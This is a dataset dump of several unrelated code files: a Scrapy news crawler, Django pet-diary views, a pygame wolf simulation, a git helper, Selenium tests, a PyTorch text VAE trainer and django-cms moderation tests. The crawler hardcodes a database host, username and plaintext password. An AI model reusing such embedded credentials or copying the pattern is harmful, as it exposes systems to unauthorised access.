所用语言的id\n sql = { # sql配置\n 'host': '192.168.235.162',\n 'user': 'dg_admin',\n 'password': 'dg_admin',\n 'db': 'dg_crawler'\n }\n\n \n \n \n\n def parse(self, response):\n meta = {}\n meta['category2'] = ''\n meta['abstract'] = ''\n html = BeautifulSoup(response.text, \"html.parser\")\n menu = html.select(\"ul.sub-menu li a\")\n for i in menu: # #Restaurants\n ex = '.(.*)?'\n f_cat = i.text\n cat = re.findall(ex, f_cat)[0] # Restaurants\n meta['category1'] = cat # 获取一级目录\n detail_list_url = i['href'] # 获取一级目录对应url\n yield scrapy.Request(detail_list_url, meta=meta, callback=self.parse_category2)\n\n def parse_category2(self, response):\n html = BeautifulSoup(response.text)\n details = html.select(\"main#main article\")\n for d in details:\n detail_url = d.select_one(\"header.entry-header h2 a\")['href']\n response.meta['abstract'] = d.select_one(\"div.entry-content p\").text # 获取摘要\n yield scrapy.Request(detail_url, meta=response.meta, callback=self.parse_category3)\n\n if html.select(\"time.entry-date.published\"):\n ddl = html.select_one(\"time.entry-date.published\")['datetime'] # datetime=\"2021-01-30T23:00:00+08:00\"\n ddl = re.split('T|\\+', ddl) # ['2021-01-30', '23:00:00', '08:00']\n ddl = ddl[0] + ' ' + ddl[1] # 2021-01-30 23:00:00\n ddl = Util.format_time3(ddl) # 1612018800\n else:\n ddl = None\n # 翻页\n next_page = html.select(\"div.nav-links div.nav-previous\")\n if next_page:\n next_page_url = next_page[0].select_one(\"a\")['href']\n if (self.time == None or (ddl != None and ddl >= int(self.time))):\n yield scrapy.Request(next_page_url, meta=response.meta, callback=self.parse_category2)\n else:\n self.logger.info('时间截止')\n\n def parse_category3(self, response):\n html = BeautifulSoup(response.text)\n item = NewsItem()\n item['category1'] = response.meta['category1']\n item['category2'] = response.meta['category2']\n if html.select(\"h1.entry-title\"): # 获取标题\n item['title'] = html.select_one(\"h1.entry-title\").text\n item['body'] = '' # 获取正文内容\n body_list = html.select(\"div.entry-content p\")\n if body_list:\n for b in body_list:\n item['body'] += b.text\n item['body'] += \"\\n\"\n item['abstract'] = response.meta['abstract']\n item['images'] = [] # 获取图片链接\n images = html.select(\"div.entry-content figure.wp-block-image size-large\")\n if images:\n for i in images:\n item['images'].append(i.select_one(\"img\")['src'])\n pub1 = html.select(\"div.posted-on time\") # 获取发布时间\n if pub1:\n pub_time = html.select_one(\"div.posted-on time\").text.strip()\n item['pub_time'] = Util.format_time2(pub_time)\n yield item\n","sub_path":"crawler/v1/awesome.py","file_name":"awesome.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"619702448","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponse\nfrom .models import Pet, Event\nfrom .forms import EventForm\n\n# from .analytics import import_csv\nimport humanize\nimport datetime as dt\nimport csv\n\n\ndef home(request, new_event=None):\n\n # if Event.objects.count() < 5:\n # import_csv(\"~/projects/data-science/pet_diary_data.csv\")\n\n pet = Pet.objects.first()\n\n if request.method == \"POST\":\n form = EventForm(request.POST)\n if form.is_valid():\n event = form.save(commit=False)\n event.pet = pet\n event.save()\n return redirect(home, new_event=event.pk)\n else:\n form = EventForm()\n return render(request, \"pet/home.html\", {\"form\": form})\n\n yesterday = dt.date.today() - dt.timedelta(days=7)\n\n events = Event.objects.filter(date__gte=yesterday).order_by(\"date\", \"time\")[::-1][\n :20\n ]\n\n last_pee = Event.objects.filter(event=\"pee\").order_by(\"-date\", \"-time\")[0]\n time_from_last_pee = humanize.precisedelta(dt.datetime.now() - last_pee.datetime())\n\n last_poo = Event.objects.filter(event=\"poo\").order_by(\"-date\", \"-time\")[0]\n time_from_last_poo = humanize.precisedelta(dt.datetime.now() - last_poo.datetime())\n\n last_wake = Event.objects.filter(event=\"wake\").order_by(\"-date\", \"-time\")[0]\n time_from_last_wake = humanize.precisedelta(\n dt.datetime.now() - last_wake.datetime()\n )\n\n form = EventForm()\n\n return render(\n request,\n \"pet/home.html\",\n {\n \"name\": pet.name,\n \"age\": pet.age,\n \"species\": pet.species,\n \"gender\": pet.gender,\n \"breed\": pet.breed,\n \"events\": events,\n \"event_choices\": Event.event_choices,\n \"form\": form,\n \"new_event\": 0 if new_event is None else new_event,\n \"time_from_last_pee\": time_from_last_pee,\n \"time_from_last_poo\": time_from_last_poo,\n \"time_from_last_wake\": time_from_last_wake,\n },\n )\n\n\ndef delete_event(request, delete_event=None):\n event = Event.objects.filter(id=delete_event).delete()\n return redirect(home)\n\n\ndef download_csv(request):\n queryset = Event.objects.all()\n model = queryset.model\n model_fields = model._meta.fields + model._meta.many_to_many\n field_names = [field.name for field in model_fields]\n\n response = HttpResponse(content_type=\"text/csv\")\n response[\"Content-Disposition\"] = 'attachment; filename=\"export.csv\"'\n\n writer = csv.writer(response, delimiter=\",\")\n writer.writerow(field_names)\n\n for row in queryset:\n values = []\n for field in field_names:\n value = getattr(row, field)\n if callable(value):\n try:\n value = value() or \"\"\n except:\n value = \"Error retrieving value\"\n if value is None:\n value = \"\"\n values.append(value)\n writer.writerow(values)\n return response","sub_path":"pet/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"128560134","text":"import pygame as pg \r\nimport classes as cs \r\nimport random\r\nimport math\r\n\r\nclass Wolf(pg.sprite.Sprite):\r\n\tdef __init__(self, x, y, screen):\r\n\t\tpg.sprite.Sprite.__init__(self)\r\n\t\tself.screen = screen\r\n\t\tself.pos = (x, y)\r\n\t\tself.size = int(20)\r\n\t\t#self.image = pg.Surface([self.size, self.size])\r\n\t\tself.image = pg.image.load(\"wolf.png\").convert_alpha()\r\n\t\tself.image = pg.transform.scale(self.image,(25,25))\r\n\t\t#self.image.fill(self.color)\r\n\t\tself.rect = self.image.get_rect()\r\n\t\tself.rect.center = self.pos\r\n\t\tself.directionChangeRate = .05\r\n\t\tself.vx = random.randint(2,6)\r\n\t\tself.vy = self.vx\r\n\t\tself.hp = random.randint(50, 500)\r\n\t\tself.starveRate = random.randint(0,int(self.hp*.1))\r\n\t\tself.killCount = 0\r\n\t\tself.prey = []\r\n\r\n\t\tself.direction = [1,1]\r\n\t\tself.closestPrey = None\r\n\t\tself.detectionRange = self.vx * 300\r\n\t\t\r\n\r\n\tdef addPopulation(self, population):\r\n\t\tself.prey = [deer for deer in population[0]]\r\n\t\tself.prey.extend([rabbit for rabbit in population[1]])\r\n\r\n\tdef move(self):\t\r\n\t\tself.hunt()\t\r\n\r\n\t\t\r\n\t\tif self.closestPrey == None:\r\n\t\t\r\n\t\t\tif self.directionChangeRate >= random.random():\r\n\t\t\t\tself.vx *= -1\r\n\t\t\r\n\r\n\t\t\tif self.directionChangeRate >= random.random():\r\n\t\t\t\tself.vy *= -1\r\n\r\n\t\t\tself.rect.y += self.vy\r\n\t\t\tself.rect.x += self.vx\r\n\t\telse:\r\n\t\t\tself.rect.y += self.vy*self.direction[1]\r\n\t\t\tself.rect.x += self.vx*self.direction[0]\r\n\t\t\r\n\t\tif self.rect.x >= self.screen.get_width():\r\n\t\t\tself.rect.x = self.size/2+1\r\n\t\telif self.rect.x < 0:\r\n\t\t\tself.rect.x = self.screen.get_width()-1\r\n\t\r\n\t\tif self.rect.y >= self.screen.get_height():\r\n\t\t\tself.rect.y = self.size/2+1\r\n\t\telif self.rect.y < 0:\r\n\t\t\tself.rect.y = self.screen.get_height()\r\n\t\t#self.decay()\r\n\r\n\tdef decay(self):\r\n\t\tself.hp -= self.starveRate\r\n\r\n\tdef getClosestPrey(self):\r\n\t\tclosestDistance = 90000000000000000000000000\r\n\t\tif len(self.prey) == 0:\r\n\t\t\tself.closestPrey = None\r\n\t\telse:\r\n\t\t\tclosestPrey = None\t\r\n\t\t\tfor animal in self.prey:\r\n\t\t\t\tif not((self.rect.x - animal.rect.x)**2 + (self.rect.y - animal.rect.y)**2 <= self.detectionRange**2):\r\n\t\t\t\t\tself.prey.remove(animal)\r\n\t\t\tfor animal in self.prey:\r\n\t\t\t\tdistance = min([math.sqrt((self.rect.x-animal.rect.x)**2 + (self.rect.y-animal.rect.y)**2), \r\n\t\t\t\tmath.sqrt((self.rect.x+self.screen.get_width()-animal.rect.x)**2 + (self.rect.y+self.screen.get_height()-animal.rect.y)**2)])\r\n\t\t\t\tif distance < closestDistance:\r\n\t\t\t\t\tclosestDistance = distance\r\n\t\t\t\t\tclosestPrey = animal\r\n\r\n\t\t\t\tif distance == 0 :\r\n\t\t\t\t\tself.population.remove(closestPrey)\r\n\t\t\t\t\tself.getClosestPrey()\t\t\r\n\t\t\tself.closestPrey = closestPrey\r\n\r\n\t\treturn self.closestPrey\r\n\r\n\tdef hunt(self):\r\n\t\t#print(self.closestPrey)\r\n\t\tif self.getClosestPrey() != None:\r\n\t\t\tdirectionMatrix = [1,-1]\r\n\t\t\tdirection = [1,1]\r\n\t\t\tdistanceX = min([abs(self.rect.x + self.vx-self.closestPrey.rect.x), abs(self.rect.x+self.screen.get_width() +self.vx-self.closestPrey.rect.x)])\r\n\t\t\tdistanceY = min([abs(self.rect.y + self.vy-self.closestPrey.rect.y), abs(self.rect.y+self.screen.get_height() +self.vy-self.closestPrey.rect.y)])\t\t\t\r\n\t\t\r\n\t\t\totherDistanceX = min([abs(self.rect.x - self.vx -self.closestPrey.rect.x), abs(self.rect.x+self.screen.get_width() -self.vx-self.closestPrey.rect.x)])\r\n\t\t\totherDistanceY = min([abs(self.rect.y - self.vy-self.closestPrey.rect.y), abs(self.rect.y+self.screen.get_height() -self.vy-self.closestPrey.rect.y)])\r\n\r\n\r\n\t\t\tif otherDistanceX < distanceX:\r\n\t\t\t\tdirection[0] *= -1\r\n\t\t\tif otherDistanceY < distanceY:\r\n\t\t\t\tdirection[1] *= -1\r\n\r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\tself.direction = direction\r\n\r\n\r\n","sub_path":"Wolf.py","file_name":"Wolf.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"339776885","text":"########\n# Copyright (c) 2014 GigaSpaces Technologies Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n\n\nimport os\nimport logging\n\nimport sh\nfrom path import path\n\nfrom cosmo_tester.framework.util import sh_bake\n\n\nlogger = logging.getLogger('git_helper')\nlogger.setLevel(logging.INFO)\ngit = sh_bake(sh.git)\n\n\ndef clone(url, basedir, branch=None):\n\n branch = branch or os.environ.get('BRANCH_NAME_CORE', 'master')\n\n repo_name = url.split('.git')[0].split('/')[-1]\n\n target = path(os.path.join(basedir, 'git', repo_name))\n\n logger.info(\"Cloning {0} to {1}\".format(url, target))\n git.clone(url, str(target)).wait()\n with target:\n logger.info(\"Checking out to {0} branch\".format(branch))\n git.checkout(branch).wait()\n return target.abspath()\n\n\ndef checkout(repo_path, branch, force=False):\n logger.info('Checking out to {0} branch in repo {1}'\n .format(branch, repo_path))\n target = path(repo_path)\n with target:\n git.checkout(branch, force=force).wait()\n","sub_path":"cosmo_tester/framework/git_helper.py","file_name":"git_helper.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"3266227","text":"# -*- coding: utf-8 -*-\nimport random\nimport unittest\nfrom datetime import time\nimport time\nimport allure\nfrom src.functions.functions import Functions as Selenium\nimport HtmlTestRunner\n\n@allure.feature(u'Pruebas de navegar entre carpetas')\n@allure.testcase(u'Historia de usuario moverse entre carpetas', u'jira')\n@allure.severity(allure.severity_level.NORMAL)\n@allure.description(u\"\"\"Se requiere validar el ingresar en una carpeta:
\nValidación:
\nIngresar a a una carpeta
\nInvisibilidad de todo mensaje de error
\nCarpeta clickable
\n

\"\"\")\n\nclass test_tree_001(Selenium, unittest.TestCase):\n\n def setUp(self):\n with allure.step(u'PASO 1 : Ingresar al navegador'):\n Selenium.open_browser(self, navegador=\"CHROME\")\n\n @allure.story(u'Test. Entrar en las carpetas.')\n def test_001(self):\n with allure.step(u'PASO 2 : Ingresar a la plataforma'):\n Selenium.get_signin_administrator(self)\n Selenium.get_json_file(self, \"tree\")\n with allure.step(u'PASO 3 : Clickear primera carpeta'):\n carpetas = self.driver.find_elements_by_xpath(\"//p[@style='font-family: Poppins; font-size: 14px; font-weight: 400; padding: 4px 30px 8px 0px;']\")\n for carpeta in range(len(carpetas)):\n carpeta+=1\n condition = False\n while condition == False:\n n = random.randint(1, carpeta)\n xpath = f\"//body/div[@id='app-site']/div[1]/div[1]/div[1]/div[1]/div[1]/div[2]/div[1]/ul[1]/div[{n}]/li[1]/div[1]/div[2]/div[1]/p[1]\"\n self.driver.find_element_by_xpath(xpath).click()\n Selenium.get_json_file(self, \"tree\")\n if Selenium.check_element(self, \"comprobar tbody\") == True:\n print(\"'\" + self.driver.find_element_by_xpath(xpath).text + \"'\" + \" si tiene directorios\")\n return self.driver.find_element_by_xpath(xpath).text\n condition == True\n break\n\n print(\"'\" + self.driver.find_element_by_xpath(xpath).text + \"'\" + \" no tiene directorios\")\n condition == False\n\n def tearDown(self):\n Selenium.tearDown(self)\n\nif __name__ == '__main__':\n unittest.main(testRunner=HtmlTestRunner.HTMLTestRunner(output='report'))\n","sub_path":"src/tests/test_grid/test_tree/test_tree_001.py","file_name":"test_tree_001.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"517009431","text":"from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport os\nimport shutil\nimport sys\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torchvision import transforms\n\nimport datasets\nfrom utils import n_characters, max_length\nfrom utils import tensor_to_string, charlist_tensor\nfrom model import TextVAE\nfrom train import loss_function, AverageMeter\n\n\ndef save_checkpoint(state, is_best, folder='./', filename='checkpoint.pth.tar'):\n torch.save(state, os.path.join(folder, filename))\n if is_best:\n shutil.copyfile(os.path.join(folder, filename),\n os.path.join(folder, 'model_best.pth.tar'))\n\n\ndef load_checkpoint(file_path, use_cuda=False):\n \"\"\"Return EmbedNet instance\"\"\"\n if use_cuda:\n checkpoint = torch.load(file_path)\n else:\n checkpoint = torch.load(file_path,\n map_location=lambda storage, location: storage)\n\n vae = TextVAE(checkpoint['n_latents'], use_cuda=use_cuda)\n vae.load_state_dict(checkpoint['state_dict'])\n \n return vae\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--n_latents', type=int, default=100,\n help='size of the latent embedding')\n parser.add_argument('--batch_size', type=int, default=128, metavar='N',\n help='input batch size for training (default: 128)')\n parser.add_argument('--epochs', type=int, default=20, metavar='N',\n help='number of epochs to train (default: 20)')\n parser.add_argument('--lr', type=float, default=1e-3, metavar='LR',\n help='learning rate (default: 1e-3)')\n parser.add_argument('--log_interval', type=int, default=10, metavar='N',\n help='how many batches to wait before logging training status')\n parser.add_argument('--anneal_kl', action='store_true', default=False, \n help='if True, use a fixed interval of doubling the KL term')\n parser.add_argument('--cuda', action='store_true', default=False,\n help='enables CUDA training')\n args = parser.parse_args()\n args.cuda = args.cuda and torch.cuda.is_available()\n\n if not os.path.isdir('./trained_models'):\n os.makedirs('./trained_models')\n\n if not os.path.isdir('./trained_models/text_only'):\n os.makedirs('./trained_models/text_only')\n\n if not os.path.isdir('./results'):\n os.makedirs('./results')\n\n if not os.path.isdir('./results/text_only'):\n os.makedirs('./results/text_only')\n\n train_loader = torch.utils.data.DataLoader(\n datasets.MultiMNIST('./data', train=True, download=True,\n transform=transforms.ToTensor(),\n target_transform=charlist_tensor),\n batch_size=args.batch_size, shuffle=True)\n test_loader = torch.utils.data.DataLoader(\n datasets.MultiMNIST('./data', train=False, download=True, \n transform=transforms.ToTensor(),\n target_transform=charlist_tensor),\n batch_size=args.batch_size, shuffle=True)\n\n vae = TextVAE(args.n_latents, use_cuda=args.cuda)\n if args.cuda:\n vae.cuda()\n\n optimizer = optim.Adam(vae.parameters(), lr=args.lr)\n\n\n def train(epoch):\n vae.train()\n loss_meter = AverageMeter()\n\n for batch_idx, (_, data) in enumerate(train_loader):\n data = Variable(data)\n if args.cuda:\n data = data.cuda()\n optimizer.zero_grad()\n recon_batch, mu, logvar = vae(data)\n loss = loss_function(mu, logvar, recon_text=recon_batch, text=data, \n kl_lambda=kl_lambda, lambda_yx=1.)\n loss.backward()\n loss_meter.update(loss.data[0], len(data))\n optimizer.step()\n if batch_idx % args.log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss_meter.avg))\n\n print('====> Epoch: {} Average loss: {:.4f}'.format(epoch, loss_meter.avg))\n\n\n def test():\n vae.eval()\n test_loss = 0\n for i, (_, data) in enumerate(test_loader):\n if args.cuda:\n data = data.cuda()\n data = Variable(data, volatile=True)\n recon_batch, mu, logvar = vae(data)\n test_loss += loss_function(mu, logvar, recon_text=recon_batch, text=data, \n kl_lambda=kl_lambda, lambda_yx=1.).data[0]\n\n test_loss /= len(test_loader)\n print('====> Test set loss: {:.4f}'.format(test_loss))\n return test_loss\n\n\n kl_lambda = 1e-3\n schedule = iter([1e-5, 1e-4, 1e-3, 1e-2, 1e-1, 1.0])\n best_loss = sys.maxint\n for epoch in range(1, args.epochs + 1):\n if (epoch - 1) % 5 == 0 and args.anneal_kl:\n try:\n kl_lambda = next(schedule)\n except:\n pass\n\n train(epoch)\n loss = test()\n\n is_best = loss < best_loss\n best_loss = min(loss, best_loss)\n\n save_checkpoint({\n 'state_dict': vae.state_dict(),\n 'best_loss': best_loss,\n 'n_latents': args.n_latents,\n 'optimizer' : optimizer.state_dict(),\n }, is_best, folder='./trained_models/text_only')\n\n sample = Variable(torch.randn(64, args.n_latents))\n if args.cuda:\n sample = sample.cuda()\n\n sample = vae.decoder.generate(sample).cpu().data.long() \n sample_texts = []\n for i in xrange(sample.size(0)):\n text = tensor_to_string(sample[i])\n sample_texts.append(text)\n \n with open('./results/text_only/sample_text_epoch%d.txt' % epoch, 'w') as fp:\n fp.writelines(sample_texts)\n","sub_path":"multimnist/train_textonly.py","file_name":"train_textonly.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"405043317","text":"import json\nfrom mock import patch\n\nfrom django.contrib.auth.models import User\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom cms.utils.urlutils import add_url_parameters\n\nfrom djangocms_moderation import constants\nfrom djangocms_moderation.forms import (\n ModerationRequestForm,\n SelectModerationForm,\n UpdateModerationRequestForm,\n)\nfrom djangocms_moderation.models import (\n ConfirmationFormSubmission,\n ConfirmationPage,\n)\nfrom djangocms_moderation.utils import get_admin_url\n\nfrom .utils import BaseViewTestCase\n\n\nclass ModerationRequestViewTest(BaseViewTestCase):\n\n def _assert_render(self, response, page, action, workflow, active_request, form_cls, title):\n view = response.context_data['view']\n form = response.context_data['adminform']\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.template_name[0], 'djangocms_moderation/request_form.html')\n self.assertEqual(view.language, 'en')\n self.assertEqual(view.page, page)\n self.assertEqual(view.action, action)\n self.assertEqual(view.workflow, workflow)\n self.assertEqual(view.active_request, active_request)\n self.assertEqual(response.context_data['title'], title)\n self.assertIsInstance(form, form_cls)\n\n def test_new_request_view_with_form(self):\n response = self.client.get(\n get_admin_url(\n name='cms_moderation_new_request',\n language='en',\n args=(self.pg2.pk, 'en')\n )\n )\n self._assert_render(\n response=response,\n page=self.pg2,\n action=constants.ACTION_STARTED,\n active_request=None,\n workflow=self.wf1,\n form_cls=ModerationRequestForm,\n title=_('Submit for moderation')\n )\n\n def test_new_request_view_with_form_workflow_passed_param(self):\n response = self.client.get(\n '{}?{}'.format(\n get_admin_url(\n name='cms_moderation_new_request',\n language='en',\n args=(self.pg2.pk, 'en')\n ),\n 'workflow={}'.format(self.wf2.pk)\n )\n )\n self._assert_render(\n response=response,\n page=self.pg2,\n action=constants.ACTION_STARTED,\n active_request=None,\n workflow=self.wf2,\n form_cls=ModerationRequestForm,\n title=_('Submit for moderation')\n )\n\n def test_cancel_request_view_with_form(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_cancel_request',\n language='en',\n args=(self.pg1.pk, 'en')\n ))\n self._assert_render(\n response=response,\n page=self.pg1,\n action=constants.ACTION_CANCELLED,\n active_request=self.moderation_request1,\n workflow=self.wf1,\n form_cls=UpdateModerationRequestForm,\n title=_('Cancel request')\n )\n\n def test_reject_request_view_with_form(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_reject_request',\n language='en',\n args=(self.pg1.pk, 'en')\n ))\n self._assert_render(\n response=response,\n page=self.pg1,\n action=constants.ACTION_REJECTED,\n active_request=self.moderation_request1,\n workflow=self.wf1,\n form_cls=UpdateModerationRequestForm,\n title=_('Send for rework')\n )\n\n def test_resubmit_request_view_with_form(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_resubmit_request',\n language='en',\n args=(self.pg1.pk, 'en')\n ))\n self._assert_render(\n response=response,\n page=self.pg1,\n action=constants.ACTION_RESUBMITTED,\n active_request=self.moderation_request1,\n workflow=self.wf1,\n form_cls=UpdateModerationRequestForm,\n title=_('Resubmit changes')\n )\n\n def test_approve_request_view_with_form(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_approve_request',\n language='en',\n args=(self.pg1.pk, 'en')\n ))\n self._assert_render(\n response=response,\n page=self.pg1,\n action=constants.ACTION_APPROVED,\n active_request=self.moderation_request1,\n workflow=self.wf1,\n form_cls=UpdateModerationRequestForm,\n title=_('Approve changes')\n )\n\n def test_get_form_kwargs(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_new_request',\n language='en',\n args=(self.pg2.pk, 'en')\n ))\n view = response.context_data['view']\n kwargs = view.get_form_kwargs()\n self.assertEqual(kwargs.get('action'), view.action)\n self.assertEqual(kwargs.get('language'), view.language)\n self.assertEqual(kwargs.get('page'), view.page)\n self.assertEqual(kwargs.get('user'), view.request.user)\n self.assertEqual(kwargs.get('workflow'), view.workflow)\n self.assertEqual(kwargs.get('active_request'), view.active_request)\n\n def test_form_valid(self):\n response = self.client.post(get_admin_url(\n name='cms_moderation_new_request',\n language='en',\n args=(self.pg2.pk, 'en')\n ), {'moderator': '', 'message': 'Some review message'})\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, 'reloadBrowser') # check html part\n\n def test_throws_error_moderation_already_exists(self):\n response = self.client.get('{}?{}'.format(\n get_admin_url(\n name='cms_moderation_new_request',\n language='en',\n args=(self.pg1.pk, 'en')\n ),\n 'workflow={}'.format(self.wf1.pk) # pg1 => active request\n ))\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.content, b'Page already has an active moderation request.')\n\n def test_throws_error_invalid_workflow_passed(self):\n response = self.client.get('{}?{}'.format(\n get_admin_url(\n name='cms_moderation_new_request',\n language='en',\n args=(self.pg2.pk, 'en')\n ),\n 'workflow=10' # pg2 => no active requests, 10 => workflow does not exist\n ))\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.content, b'No moderation workflow exists for page.')\n\n def test_throws_no_active_moderation_request(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_cancel_request',\n language='en',\n args=(self.pg2.pk, 'en') # pg2 => no active requests\n ))\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.content, b'Page does not have an active moderation request.')\n\n def test_throws_error_already_approved(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_approve_request',\n language='en',\n args=(self.pg3.pk, 'en') # pg3 => active request with all approved steps\n ))\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.content, b'Moderation request has already been approved.')\n\n def test_throws_error_forbidden_user(self):\n from django.contrib.auth.models import User\n user = User.objects.create_user(username='test1', email='test1@test.com', password='test1', is_staff=True)\n self.client.force_login(user)\n response = self.client.get(get_admin_url(\n name='cms_moderation_approve_request',\n language='en',\n args=(self.pg1.pk, 'en') # pg1 => active request\n ))\n self.assertEqual(response.status_code, 403)\n self.assertEqual(response.content, b'User is not allowed to update request.')\n\n @patch('djangocms_moderation.views.get_page_moderation_workflow', return_value=None)\n def test_throws_error_if_workflow_has_not_been_resolved(self, mock_gpmw):\n response = self.client.get(get_admin_url(\n name='cms_moderation_new_request',\n language='en',\n args=(self.pg2.pk, 'en')\n ))\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.content, b'No moderation workflow exists for page.')\n\n def _create_confirmation_page(self, moderation_request):\n # First delete all the form submissions for the passed moderation_request\n # This will make sure there are no form submissions\n # attached with the passed moderation_request\n moderation_request.form_submissions.all().delete()\n self.cp = ConfirmationPage.objects.create(\n name='Checklist Form',\n )\n self.role1.confirmation_page = self.cp\n self.role1.save()\n\n def test_redirects_to_confirmation_page_if_invalid_check(self):\n self._create_confirmation_page(self.moderation_request1)\n response = self.client.get(\n get_admin_url(\n name='cms_moderation_approve_request',\n language='en',\n args=(self.pg1.pk, 'en')\n )\n )\n redirect_url = add_url_parameters(\n self.cp.get_absolute_url(),\n content_view=True,\n page=self.pg1.pk,\n language='en',\n )\n self.assertEqual(response.status_code, 302) # redirection\n self.assertEqual(response.url, redirect_url)\n\n def test_does_not_redirect_to_confirmation_page_if_valid_check(self):\n self._create_confirmation_page(self.moderation_request1)\n ConfirmationFormSubmission.objects.create(\n request=self.moderation_request1,\n for_step=self.wf1st1,\n by_user=self.user,\n data=json.dumps([{'label': 'Question 1', 'answer': 'Yes'}]),\n confirmation_page=self.cp,\n )\n response = self.client.get(\n get_admin_url(\n name='cms_moderation_approve_request',\n language='en',\n args=(self.pg1.pk, 'en')\n )\n )\n self._assert_render(\n response=response,\n page=self.pg1,\n action=constants.ACTION_APPROVED,\n active_request=self.moderation_request1,\n workflow=self.wf1,\n form_cls=UpdateModerationRequestForm,\n title=_('Approve changes')\n )\n\n def test_renders_all_form_submissions(self):\n self._create_confirmation_page(self.moderation_request1)\n ConfirmationFormSubmission.objects.create(\n request=self.moderation_request1,\n for_step=self.wf1st1,\n by_user=self.user,\n data=json.dumps([{'label': 'Question 1', 'answer': 'Yes'}]),\n confirmation_page=self.cp,\n )\n response = self.client.get(\n get_admin_url(\n name='cms_moderation_approve_request',\n language='en',\n args=(self.pg1.pk, 'en')\n )\n )\n form_submissions = response.context_data['form_submissions']\n results = ConfirmationFormSubmission.objects.filter(request=self.moderation_request1)\n self.assertQuerysetEqual(form_submissions, results, transform=lambda x: x, ordered=False)\n\n\nclass SelectModerationViewTest(BaseViewTestCase):\n\n def test_renders_view_with_form(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_select_new_moderation',\n language='en',\n args=(self.pg1.pk, 'en')\n ))\n view = response.context_data['view']\n form = response.context_data['adminform']\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.template_name[0], 'djangocms_moderation/select_workflow_form.html')\n self.assertEqual(view.page_id, str(self.pg1.pk))\n self.assertEqual(view.current_lang, 'en')\n self.assertIsInstance(form, SelectModerationForm)\n\n def test_get_form_kwargs(self):\n response = self.client.get(get_admin_url(\n name='cms_moderation_select_new_moderation',\n language='en',\n args=(self.pg1.pk, 'en')\n ))\n view = response.context_data['view']\n kwargs = view.get_form_kwargs()\n self.assertEqual(kwargs.get('page'), self.pg1)\n\n def test_form_valid(self):\n response = self.client.post(get_admin_url(\n name='cms_moderation_select_new_moderation',\n language='en',\n args=(self.pg1.pk, 'en')\n ), {'workflow': self.wf2.pk})\n form_valid_redirect_url = '{}?{}'.format(\n get_admin_url(\n name='cms_moderation_new_request',\n language='en',\n args=(self.pg1.pk, 'en')\n ),\n 'workflow={}'.format(self.wf2.pk)\n )\n self.assertEqual(response.url, form_valid_redirect_url)\n\n\nclass ModerationCommentsViewTest(BaseViewTestCase):\n\n def test_comment_list(self):\n response = self.client.get(\n get_admin_url(\n name='cms_moderation_comments',\n language='en',\n args=(self.pg3.pk, 'en')\n )\n )\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.context_data['object_list'].count(), 3)\n\n def test_comment_list_protected(self):\n new_user = User.objects.create_superuser(\n username='new_user', email='new_user@test.com', password='test'\n )\n self.client.force_login(new_user)\n\n response = self.client.get(\n get_admin_url(\n name='cms_moderation_comments',\n language='en',\n args=(self.pg3.pk, 'en')\n )\n )\n\n self.assertEqual(response.status_code, 403)\n\n\nclass ModerationConfirmationPageTest(BaseViewTestCase):\n\n def setUp(self):\n super(ModerationConfirmationPageTest, self).setUp()\n self.cp = ConfirmationPage.objects.create(\n name='Checklist Form',\n )\n\n def test_renders_build_view(self):\n response = self.client.get(self.cp.get_absolute_url())\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.templates[0].name, self.cp.template)\n self.assertEqual(\n response.context['CONFIRMATION_BASE_TEMPLATE'],\n 'djangocms_moderation/base_confirmation_build.html',\n )\n\n def test_renders_content_view(self):\n response = self.client.get(\n add_url_parameters(\n self.cp.get_absolute_url(),\n content_view=True,\n page=self.pg1.pk,\n language='en',\n )\n )\n self.assertEqual(response.status_code, 200)\n 